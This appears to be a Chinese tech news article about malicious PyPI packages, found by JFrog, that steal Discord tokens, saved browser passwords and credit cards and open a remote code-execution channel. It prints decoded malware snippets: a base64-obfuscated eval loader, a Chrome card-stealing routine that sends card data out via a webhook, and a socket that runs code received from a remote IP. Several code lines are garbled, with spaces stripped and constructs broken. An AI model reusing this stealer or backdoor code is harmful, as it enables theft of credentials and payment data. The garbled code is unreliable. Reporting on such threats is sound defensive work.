1. 程式人生 > 資訊 >Python 程式設計師小心,PyPI 軟體庫又雙叒叕發現惡意軟體,能盜取信用卡還有後門程式

Python 程式設計師小心,PyPI 軟體庫又雙叒叕發現惡意軟體,能盜取信用卡還有後門程式

Python 程式設計師真的要小心了,PyPI 軟體庫問題真是越來越嚴重。

繼今年 6 月出現挖礦病毒後,PyPI 最近再次出現了一批惡意軟體,

JFrog 安全團隊發現,PyPI 庫中有多個軟體存在盜取信用卡資訊、遠端注入程式碼的行為,而這些軟體總共被下載了 3 萬次。

這些被發現問題的惡意軟體分別是:

當程式設計師安裝完這些軟體後,它們將在後臺不知不覺讀取瀏覽器資料夾,從而盜取信用卡資訊和密碼。

它們是如何竊取信用卡資訊的

安全研究人員發現,上述所有軟體包都使用 Base64 編碼進行偽裝。

比如上述的 noblesse2:

importbase64,codecs

magic='aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS...'

love='0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M...'

god='a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg...'

destiny='yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS...'

joy='\x72\x6f\x74\x31\x33'

trust=eval('\x6d\x61\x67\x69\x63')+eval('\x63\x6f\x64\x65\x63\x73\x2e\x64...')

eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))

這種方法可以欺騙一些簡單的分析工具,但是仔細研究可以發現其中的問題。

以上 8 個軟體包分別包含了以下不同種類的惡意行為:

1、竊取 Discord 帳戶身份驗證 token

Discord 身份驗證 token 讀取器的程式碼非常簡單,它就是一組硬編碼的路徑:

local=os.getenv('LOCALAPPDATA')

roaming=os.getenv('APPDATA')

paths={

'Discord':roaming+'\\Discord',

'DiscordCanary':roaming+'\\discordcanary',

'DiscordPTB':roaming+'\\discordptb',

'GoogleChrome':local+'\\Google\\Chrome\\UserData\\Default',

'Opera':roaming+'\\OperaSoftware\\OperaStable',

'Brave':local+'\\BraveSoftware\\Brave-Browser\\UserData\\Default',

'Yandex':local+'\\Yandex\\YandexBrowser\\UserData\\Default'

}

然後程式碼會讀取這幾種瀏覽器路徑下的所有.log 和.ldb 檔案,並查詢 Discord 身份驗證 token,結果通過 Webhook 上傳到 Discord。

2、竊取瀏覽器儲存的密碼或信用卡資料

當你在瀏覽器中輸入密碼或信用卡資料時,一般都會跳出如下視窗,提示使用者儲存這些資訊。

雖然這給使用者帶來方便,今後不用一遍遍輸入密碼,但缺點是這些資訊可能會惡意軟體獲取。

在這種情況下,惡意軟體會嘗試從 Chrome 竊取信用卡資訊:

defcs():

master_key=master()

login_db=os.environ['USERPROFILE']+os.sep+\

r'AppData\Local\Google\Chrome\UserData\default\WebData'

shutil.copy2(login_db,

"CCvault.db")

conn=sqlite3.connect("CCvault.db")

cursor=conn.cursor()

try:

cursor.execute("SELECT*FROMcredit_cards")

forrincursor.fetchall():

username=r[1]

encrypted_password=r[4]

decrypted_password=dpw(

encrypted_password,master_key)

expire_mon=r[2]

expire_year=r[3]

hook.send(f"CARD-NAME:"+username+"\nNUMBER:"+decrypted_password+"\nEXPIRYM:"+str(expire_mon)+"\nEXPIRYY:"+str(expire_year)+"\n"+"*"*10+"\n")

這些資訊和前一種情況一樣會通過 Webhook 上傳。

3、收集有關受感染 PC 的資訊:如 IP 地址、計算機名稱和使用者名稱

除此之外,這些軟體還會收集 Windows 許可證金鑰資訊、Windows 版本以及螢幕截圖。

4、遠端程式碼注入

pytagora 和 pytagora2 這兩個惡意軟體會嘗試連線到某個 IP 地址 9009 埠上的,然後執行 Socket 中可用的任何 Python 程式碼。

其中混淆的程式碼被安全人員解碼成如下片段:

importsocket,struct,time

s=socket.socket(2,socket.socket.socket.SOCK_STREAM)

s.connect(('172.16.60.80',9009))

l=struct.unpack('>I',s.recv(4))[0]

print(l)

d=s.recv(l)

print(d)

whilelen(d)>!1:

d+=s.recv(l-len(d))

print(d)

exec(d,{'s':s})

但是安全人員現在不知道這個 IP 地址是什麼,或者上面是否存在惡意軟體。

中毒後如何挽救

如果你發現自己的電腦已經安裝了諸如 noblesse 的惡意軟體,那麼請檢查一下你的瀏覽器到底儲存了哪些密碼,這些密碼可能已經洩露,請儘快修改。

對於 Edge 瀏覽器使用者,請在位址列中輸入 edge://settings/passwords,檢視已儲存的密碼。

對於 Chrome 瀏覽器使用者,請在位址列中輸入 chrome://settings/payments,在付款方式一欄下檢視已儲存的信用卡資訊。

另外可以鬆口氣的是,PyPI 維護人員已經刪除了這些惡意軟體包。

雖然 PyPI 軟體庫現在是安全了,但是鑑於這些開源軟體庫現在的維護狀態,未來很可能還會遇到更多攻擊。今年 PyPI 庫出現安全問題的狀況就不止一次出現。

“攻擊者能夠使用簡單的混淆技術來引入惡意軟體,這意味著開發人員必須保持警惕。”

JFrog CTO 說,“這是一個系統性威脅,需要由軟體儲存庫的維護者和開發人員在多個層面積極解決。”